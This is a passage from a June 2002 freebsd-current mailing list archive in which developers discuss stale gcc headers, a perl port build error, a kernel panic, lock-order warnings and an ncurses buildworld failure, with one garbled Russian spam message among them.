| > already bloated beyond my wildest dreams. If you want a "general system
| > cleanup device," someone else is going to have to write it.
| 
| I dunno, mergemaster seems to do a really good job of doing the
| "file exists here, but not here" thing, I think if someone inverted
| the logic it could fill this role nicely.

Still, installworld should clean out /usr/include (or installincludes) as
(an optional?) part of the install process.

-- 
Totally Holistic Enterprises Internet|                      | Andrew Milton
The Internet (Aust) Pty Ltd          |  M:+61 416 022 411   |
ACN: 082 081 472 ABN: 83 082 081 472 |akm@theinternet.com.au| Carpe Daemon

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:48:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from espresso.q9media.com (espresso.q9media.com [216.254.138.122])
	by hub.freebsd.org (Postfix) with ESMTP id E5A9D37B405
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 10:48:30 -0700 (PDT)
Received: (from mike@localhost)
	by espresso.q9media.com (8.11.6/8.11.6) id g5JHjhU36070;
	Wed, 19 Jun 2002 13:45:43 -0400 (EDT)
	(envelope-from mike)
Date: Wed, 19 Jun 2002 13:45:43 -0400
From: Mike Barcroft <mike@freebsd.org>
To: Beech Rintoul <akbeech@sinbad.net>
Cc: freebsd-current@freebsd.org
Subject: Re: Perl port error
Message-ID: <20020619134543.B84588@espresso.q9media.com>
References: <20020619172515.2450077@nebula.anchoragerescue.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020619172515.2450077@nebula.anchoragerescue.org>; from akbeech@sinbad.net on Wed, Jun 19, 2002 at 09:25:14AM -0800
Organization: The FreeBSD Project
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Beech Rintoul <akbeech@sinbad.net> writes:
> I get the following trying to compile the perl5 port:
> 
> 
> rm -f sperl.c
> /bin/ln -s perl.c sperl.c
> `sh  cflags libperl.a sperl.o` -DIAMSUID sperl.c
>           CCCMD =  cc -DPERL_CORE -c 
> -DAPPLLIB_EXP="/usr/local/lib/perl5/5.6.1/BSDPAN" -fno-strict-aliasing 
> -I/usr/local/include -O -pipe
> In file included from perl.h:3407,
>                  from sperl.c:16:
> /usr/include/sys/statvfs.h:47: syntax error before "typedef"
> /usr/include/sys/statvfs.h:59: syntax error before "struct"
> /usr/include/sys/statvfs.h:60: syntax error before "fsblkcnt_t"
> *** Error code 1

Fixed in rev 1.2 of src/sys/sys/statvfs.h.

Best regards,
Mike Barcroft

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 10:52:34 2002
Delivered-To: freebsd-current@freebsd.org
Received: from nebula.anchoragerescue.org (115-7-237-24-cable.anchorageak.net [24.237.7.115])
	by hub.freebsd.org (Postfix) with ESMTP
	id 5131837B406; Wed, 19 Jun 2002 10:52:30 -0700 (PDT)
Received: from there (galaxy.anchoragerescue.org [24.237.7.95])
	by nebula.anchoragerescue.org (Postfix) with SMTP
	id 9A30677; Wed, 19 Jun 2002 09:52:29 -0800 (AKDT)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Beech Rintoul <akbeech@sinbad.net>
Reply-To: akbeech@sinbad.net
To: Mike Barcroft <mike@freebsd.org>
Subject: Re: Perl port error
Date: Wed, 19 Jun 2002 09:52:29 -0800
X-Mailer: KMail [version 1.3]
References: <20020619172515.2450077@nebula.anchoragerescue.org> <20020619134543.B84588@espresso.q9media.com>
In-Reply-To: <20020619134543.B84588@espresso.q9media.com>
Organization: Sinbad Network Communications
Cc: freebsd-current@freebsd.org
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020619175229.9A30677@nebula.anchoragerescue.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wednesday 19 June 2002 09:45 am, you wrote:
> Beech Rintoul <akbeech@sinbad.net> writes:
> > I get the following trying to compile the perl5 port:
> >
> >
> > rm -f sperl.c
> > /bin/ln -s perl.c sperl.c
> > `sh  cflags libperl.a sperl.o` -DIAMSUID sperl.c
> >           CCCMD =  cc -DPERL_CORE -c
> > -DAPPLLIB_EXP="/usr/local/lib/perl5/5.6.1/BSDPAN" -fno-strict-aliasing
> > -I/usr/local/include -O -pipe
> > In file included from perl.h:3407,
> >                  from sperl.c:16:
> > /usr/include/sys/statvfs.h:47: syntax error before "typedef"
> > /usr/include/sys/statvfs.h:59: syntax error before "struct"
> > /usr/include/sys/statvfs.h:60: syntax error before "fsblkcnt_t"
> > *** Error code 1
>
> Fixed in rev 1.2 of src/sys/sys/statvfs.h.
>
> Best regards,
> Mike Barcroft
>
Thanks,  I'll upgrade -current and try it again...

Beech
-- 
-------------------------------------------------------------------
      Beech Rintoul - SysAdmin - akbeech@sinbad.net
/"\   ASCII Ribbon Campaign  | Sinbad Network Communications
\ / - NO HTML/RTF in e-mail  | 3101 Penland Parkway #K-38
 X  - NO Word docs in e-mail | Anchorage, AK 99508-1957
/ \ -----------------------------------------------------------------












To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 11:28:41 2002
Delivered-To: freebsd-current@freebsd.org
Received: from a.smtp-out.sonic.net (a.smtp-out.sonic.net [208.201.224.38])
	by hub.freebsd.org (Postfix) with SMTP id 6403A37B408
	for <current@freebsd.org>; Wed, 19 Jun 2002 11:28:36 -0700 (PDT)
Received: (qmail 6670 invoked from network); 19 Jun 2002 18:28:36 -0000
Received: from sub.sonic.net (208.201.224.8)
  by a.smtp-out.sonic.net with SMTP; 19 Jun 2002 18:28:36 -0000
Received: from blarf.homeip.net (adsl-209-204-188-56.sonic.net [209.204.188.56])
	by sub.sonic.net (8.11.6/8.8.5) with ESMTP id g5JISZ231938;
	Wed, 19 Jun 2002 11:28:35 -0700
X-envelope-info: <zipzippy@sonic.net>
Received: by blarf.homeip.net (Postfix, from userid 1000)
	id 710C91BDA; Wed, 19 Jun 2002 11:28:35 -0700 (PDT)
Date: Wed, 19 Jun 2002 11:28:35 -0700
From: Alex Zepeda <zipzippy@sonic.net>
To: leimy2k@mac.com, current@freebsd.org
Subject: Re: [kde-freebsd] Re: C++ troubles continue
Message-ID: <20020619182835.GA371@blarf.homeip.net>
References: <200206190713.44776.mi+celsius@aldan.algebra.com> <863A231F-8379-11D6-A942-0003937E39E0@mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <863A231F-8379-11D6-A942-0003937E39E0@mac.com>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 06:41:41AM -0500, leimy2k@mac.com wrote:

> Did Will really use g++3.1?  Or was he using Current DP1?  Current DP1 
> is not gcc-3.1 based.

I've gotten KDE built recently:

blarf:~$gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.1 [FreeBSD] 20020509 (prerelease)


Yes, it's from the 'head' branch.  Yes, I cleaned out my g++ include dirs.

- alex

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 11:35:20 2002
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.wemm.org (12-232-114-102.client.attbi.com [12.232.114.102])
	by hub.freebsd.org (Postfix) with ESMTP id C607737B416
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 11:35:15 -0700 (PDT)
Received: from wemm.org (localhost [127.0.0.1])
	by overcee.wemm.org (Postfix) with ESMTP
	id 54ADB380E; Wed, 19 Jun 2002 11:35:17 -0700 (PDT)
	(envelope-from peter@wemm.org)
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: Mikhail Teterin <mi+mx@aldan.algebra.com>
Cc: "M. Warner Losh" <imp@village.org>, mi+celsius@aldan.algebra.com,
	jstocker@tzi.de, current@FreeBSD.ORG
Subject: Re: C++ troubles continue 
In-Reply-To: <200206191257.03898.mi+mx@aldan.algebra.com> 
Content-Transfer-Encoding: 8bit
Date: Wed, 19 Jun 2002 11:35:17 -0700
From: Peter Wemm <peter@wemm.org>
Message-Id: <20020619183517.54ADB380E@overcee.wemm.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Mikhail Teterin wrote:
> On Wednesday 19 June 2002 12:23 pm, M. Warner Losh wrote:
> = In message: <200206190713.44776.mi+celsius@aldan.algebra.com>
> =             Mikhail Teterin <mi+celsius@aldan.algebra.com> writes:
> = : ÷¦×ÔÏÒÏÂË 18 þÅÒ×ÅÎØ 2002 11:38 pm, Jan Stocker ÷ÂÉ ÎÁÐÉÓÁÌÂÉ:
> = : > Do you have cleaned your /usr/include/g++ directory from old gcc files?
> = :
> = : Not until after I sent my e-mail :-) Wouldn't this be worth mentioning in
> = : UPDATING? BTW, even that seems a not enough. When building koffice-kde3,
> = : fabs() is reported unknown, because math.h is only included ifdef WINDOWS
> = : in KDChartTable.h and I had to manually replace std::floor with floor in
> = : KDChartPainter.cpp
> =
> = If someone wants to write me a blurb, I'll stick it in UPDATING.
> 
> But what is the right method? Removing everything from /usr/include/g++,
> that's not present in  /usr/src/contrib/libstdc++/include somewhere?

I often do this:

make buildworld
mv /usr/include /usr/include.old
make installworld

That's a guaranteed way to end up with a clean /usr/include :-)

I do similar things with /usr/lib as well, except mv /usr/lib/* /usr/lib/
compat and then strip out the .a files afterwards.

Cheers,
-Peter
--
Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com
"All of this is for nothing if we don't go to the stars" - JMS/B5


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 12: 3:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50])
	by hub.freebsd.org (Postfix) with ESMTP id ACCC337B405
	for <current@freebsd.org>; Wed, 19 Jun 2002 12:03:33 -0700 (PDT)
Received: from pool0424.cvx40-bradley.dialup.earthlink.net ([216.244.43.169] helo=mindspring.com)
	by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Kkjr-0001Wa-00; Wed, 19 Jun 2002 12:03:32 -0700
Message-ID: <3D10D55E.4AC72D5C@mindspring.com>
Date: Wed, 19 Jun 2002 12:02:54 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: kai ouyang <oykai@msn.com>
Cc: current@FreeBSD.org
Subject: Re: open panic?
References: <OE3554bGY1mqGTPXvDM00026788@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

kai ouyang wrote:
> 
>    Part 1.1.1    Type: Plain Text (text/plain)
>              Encoding: quoted-printable

| I am trying to open the device again(by the open function), the box is
| panic. So I can not do anything to  the device.
| I am puzzled about that. if open is fail, it should return error. Why
| panic? Have you the similar problem?
|
| Fatal trap 12: page fault while in kernel mode

This is an unmapped page, referenced from kernel mode.  If you compile
with the kernel debugger, and set "break to debugger", then it should
be possible for you to get a traceback, which will give you the
function call graph, which should make it fairly easy to locate the
problem.

If you actually get a system dump, then you should be able to get
the actual source line that caused the panic.

Most likely this is a coding problem; if that's not the case, then
the next most likely problem is with the use of the seperate process
for the context for the operations.  An open needs to happen in
the context of the process making the open request, and not in the
context of a seperate process that's there to support the code.  In
general, you can only hand off data between processes by queueing
within kernel memory.  So if you are delaying a copin/copyout until
your internal process runs, then that's going to be your problem.

I did the original user space RAIDFrame port to FreeBSD, so I am
fairly familiar with the code, if there are specific problems with
which you need help.  However, your best bet is probably to get a
copy of Scott Long's patches, and look at how you and he did things
differntly than he did, and try to learn from the difference in
approach.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 12:20:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62])
	by hub.freebsd.org (Postfix) with ESMTP id 13AC937B40D
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 12:20:10 -0700 (PDT)
Received: from InterJet.elischer.org ([12.232.206.8])
          by sccrmhc02.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020619192009.CUEX1547.sccrmhc02.attbi.com@InterJet.elischer.org>
          for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 19:20:09 +0000
Received: from localhost (localhost.elischer.org [127.0.0.1])
	by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id MAA26437
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 12:09:25 -0700 (PDT)
Date: Wed, 19 Jun 2002 12:09:24 -0700 (PDT)
From: Julian Elischer <julian@elischer.org>
To: FreeBSD current users <current@FreeBSD.ORG>
Subject: could sleep with "THREAD" locked from ../../../vm/uma_core.c:724
Message-ID: <Pine.BSF.4.21.0206191207020.26167-100000@InterJet.elischer.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Copyright (c) 1992-2002 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
	The Regents of the University of California. All rights reserved.
FreeBSD 5.0-CURRENT #29: Wed Jun 19 19:01:27 GMT 2002

julian@ref3.dev.vicor-nb.com:/usr/home/julian/p4/kse/sys/i386/compile/GENERIC
Preloaded elf kernel "/k2" at 0xc0580000.
Timecounter "i8254"  frequency 1193182 Hz
Timecounter "TSC"  frequency 863868138 Hz
CPU: Pentium III/Pentium III Xeon/Celeron (863.87-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x68a  Stepping = 10

Features=0x383f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE>
real memory  = 267124736 (260864K bytes)
avail memory = 253943808 (247992K bytes)
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
lock order reversal
 1st 0xcc3cc024 THREAD (UMA zone) @ ../../../vm/uma_core.c:724
 2nd 0xc082a4a8 PCPU VM OBJECT (UMA cpu) @ ../../../vm/uma_core.c:1335
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724
../../../vm/uma_core.c:1330: could sleep with "THREAD" locked from
../../../vm/uma_core.c:724


ok so is thre anyone working on this?

-current as of 30 minutes ago..



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 13: 8:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51])
	by hub.freebsd.org (Postfix) with ESMTP id 17D1C37B408
	for <current@FreeBSD.ORG>; Wed, 19 Jun 2002 13:08:42 -0700 (PDT)
Received: by tao.org.uk (Postfix, from userid 100)
	id 8EE8D67; Wed, 19 Jun 2002 21:08:21 +0100 (BST)
Date: Wed, 19 Jun 2002 21:08:21 +0100
From: Josef Karthauser <joe@tao.org.uk>
To: Jacob Frelinger <jolly@thecoffinclub.com>
Cc: Jan Stocker <jstocker@tzi.de>,
	Charlie Root <root@aldan.algebra.com>, current@FreeBSD.ORG
Subject: Re: C++ troubles continue
Message-ID: <20020619200821.GA53487@genius.tao.org.uk>
Mail-Followup-To: Josef Karthauser <joe@tao.org.uk>,
	Jacob Frelinger <jolly@thecoffinclub.com>,
	Jan Stocker <jstocker@tzi.de>, Charlie Root <root@aldan.algebra.com>,
	current@FreeBSD.ORG
References: <200206190212.g5J2CJ6q093342@aldan.algebra.com> <1024468722.1145.1.camel@twoflower> <20020619103028.A3040@thecoffinclub.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="EeQfGwPcQSOJBaQU"
Content-Disposition: inline
In-Reply-To: <20020619103028.A3040@thecoffinclub.com>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--EeQfGwPcQSOJBaQU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment
Content-Transfer-Encoding: quoted-printable

On Wed, Jun 19, 2002 at 10:30:28AM -0400, Jacob Frelinger wrote:
> On Wed, Jun 19, 2002 at 08:38:41AM +0200, Jan Stocker wrote:
> > Do you have cleaned your /usr/include/g++ directory from old gcc files?
> >=20
>=20
> whats the sanist way to do that? simply rm all the files in
> /usr/include/g++ before an installworld?

I couldn't even complete a buildworld without
    'cd /usr/src && rm -r /usr/include/g++ && make includes'.

The buildworld was bombing out when building libstdc++.

Joe

--EeQfGwPcQSOJBaQU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iEYEARECAAYFAj0Q5LQACgkQXVIcjOaxUBbvYwCgx2KFsoFqWZ6maeK/KU7Zn78F
UuAAoJBblK4t16LvY9F6+tdh8vHPtTKn
=3REQ
-----END PGP SIGNATURE-----

--EeQfGwPcQSOJBaQU--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 15:31:50 2002
Delivered-To: freebsd-current@freebsd.org
Received: from web14104.mail.yahoo.com (web14104.mail.yahoo.com [216.136.172.134])
	by hub.freebsd.org (Postfix) with SMTP id 1321237B449
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 15:31:38 -0700 (PDT)
Message-ID: <20020619223138.74918.qmail@web14104.mail.yahoo.com>
Received: from [213.115.15.189] by web14104.mail.yahoo.com via HTTP; Thu, 20 Jun 2002 00:31:38 CEST
Date: Thu, 20 Jun 2002 00:31:38 +0200 (CEST)
From: =?iso-8859-1?q?Claus=20Guttesen?= <cguttesen@yahoo.dk>
Subject: stop in ncurses in 'make world
To: freebsd-current@freebsd.org
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

 
 

_____________________________________________________
Følg VM i fodbold på tæt hold fra Yahoo!s officielle VM-side 
www.yahoo.dk/vm2002

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 15:41:26 2002
Delivered-To: freebsd-current@freebsd.org
Received: from web14107.mail.yahoo.com (web14107.mail.yahoo.com [216.136.172.137])
	by hub.freebsd.org (Postfix) with SMTP id 911F937B416
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 15:41:12 -0700 (PDT)
Message-ID: <20020619224112.85721.qmail@web14107.mail.yahoo.com>
Received: from [213.115.15.189] by web14107.mail.yahoo.com via HTTP; Thu, 20 Jun 2002 00:41:12 CEST
Date: Thu, 20 Jun 2002 00:41:12 +0200 (CEST)
From: =?iso-8859-1?q?Claus=20Guttesen?= <cguttesen@yahoo.dk>
Subject: error in ncurses in 'make buildworld'
To: freebsd-current@freebsd.org
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi.

I installed 5.0 DP 1 with success and performed a
cvsup as of June 20'th.

While doing 'make buildworld' it stops at
contrib/ncurses.

The error I get is (first two lines)
../objects/demo.o: In function
`TestApplication::run()':
../objects/demo.o(.text+0x149): undefined reference to
`operator new(unsigned)'

Last four lines:
../lib/libncurses++.a(cursesmain.o)(.eh_frame+0x11):
undefined reference to `__gxx_personality_v0'
*** Error code 1

Stop in /usr/src/contrib/ncurses/c++.
*** Error code 1

Searched freebsd.org and google.com for workarounds
but to no avail. Do I need to supply 'make buildworld'
with extra parameters or do I simply skip building of
ncurses?

regards
Claus


_____________________________________________________
Følg VM i fodbold på tæt hold fra Yahoo!s officielle VM-side 
www.yahoo.dk/vm2002

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 16:24:46 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.nebulatech.com (nebulatech.com [63.203.53.131])
	by hub.freebsd.org (Postfix) with ESMTP
	id 014AE37B408; Wed, 19 Jun 2002 16:24:39 -0700 (PDT)
Received: from mail.ru ([210.172.90.115]) by mail.nebulatech.com
          (Netscape Messaging Server 3.5)  with SMTP id 323;
          Wed, 19 Jun 2002 16:18:04 -0700
From: NOVIKOV <vppzqn@mailru.com>
To: "" <>
Subject: ÔÈËÜÌ "Ãîðåö" ñ ÌàÊëàóäîì èìååò ðåàëüíóþ îñíîâó!!!!
Reply-To: vppzqn@mailru.com
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: The Bat! (v1.52f) Business
Mime-Version: 1.0
Content-Type: text/plain; charset="Windows-1251"
Date: Thu, 20 Jun 2002 03:23:01 +0400
Message-ID: <20020619231738671.AAA449.323@mail.ru>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Òåïåðü  ýòî  òû ìîæåøü çíàòü!!!
Êàê âñåãäà ÷åëîâåê äóìàåò ,÷òî ÷óäåñà íå äëÿ íåãî.!?
Ìîÿ èñòîðèÿ  è ìîÿ æèçíü òåïåðü îòêðûòà äëÿ òåáÿ: http://multimail.ru/people/novikov
×òî æ,óäèâèñü, íå ìíå,à òîìó,÷òî ýòî ìîæåøü áûòü è ÒÛ!
Äà, òû ìîæåøü æèòü òàê äîëãî è çäîðîâûì,÷òî ñàì åùå íå çíàåøü!
Ìíå ñåé÷àñ 73 ãîäà, à íà ñàìîì äåëå íå äàøü è 45! (ñì. ìîè ôîòî)
ß ðàññêàæó êàê ñäåëàòü ñåáÿ ìîëîäûì ñ ëþáîãî âîçðàñòà, äàæå åñëè òû óæå ãîòîâèøüñÿ 
ê ñàìîìó ïëîõîìó -ê ñìåðòè. 
Ïðèâåòñòâóþ òåáÿ ìîé áóäóùèé äðóã.
 
Ñåðãåé Íîâèêîâ.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19 16:33:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 20BDD37B406
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 16:33:22 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5JNXLP8052179;
	Wed, 19 Jun 2002 16:33:21 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5JNXLBq052178;
	Wed, 19 Jun 2002 16:33:21 -0700 (PDT)
Date: Wed, 19 Jun 2002 16:33:21 -0700
From: "David O'Brien" <dev-null@NUXI.com>
To: Claus Guttesen <cguttesen@yahoo.dk>
Cc: freebsd-current@freebsd.org
Subject: Re: error in ncurses in 'make buildworld'
Message-ID: <20020619163321.A48809@dragon.nuxi.com>
Reply-To: freebsd-current@freebsd.org
References: <20020619224112.85721.qmail@web14107.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020619224112.85721.qmail@web14107.mail.yahoo.com>; from cguttesen@yahoo.dk on Thu, Jun 20, 2002 at 12:41:12AM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, Jun 20, 2002 at 12:41:12AM +0200, Claus Guttesen wrote:
> While doing 'make buildworld' it stops at
> contrib/ncurses.
> 
> The error I get is (first two lines)
> ../objects/demo.o: In function
> `TestApplication::run()':
> ../objects/demo.o(.text+0x149): undefined reference to
> `operator new(unsigned)'
> 
> Last four lines:
